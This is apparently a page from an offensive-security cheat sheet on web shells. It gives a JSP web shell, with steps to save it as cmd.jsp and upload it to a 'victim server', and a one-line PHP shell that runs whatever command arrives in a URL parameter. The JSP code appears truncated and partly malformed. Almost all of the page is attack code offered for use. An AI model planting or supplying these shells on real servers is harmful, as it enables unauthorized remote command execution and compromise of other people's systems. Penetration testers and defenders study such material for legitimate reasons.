Web Shells


  1. Save the source code below as cmd.jsp and upload to the victim server.

  2. Enter the command in the input box and click “Execute”. The command output will be displayed on the page in the web browser.

<%@ page import="java.util.*,java.io.*"%>
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "<BR>");
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                disr = dis.readLine(); 

Other JSP Shells:

  1. JSP Reverse+Web Shell:

  1. JSP Web Shells Mix:


Classic payload to execute commands:

<?php system($_GET['cmd']); ?>

A really simple and tiny PHP Web shell for executing unix commands from web page:

A Simple PHP Web Shell used for Remote Code Execution:

A very simple but functional PHP webshell:

Last updated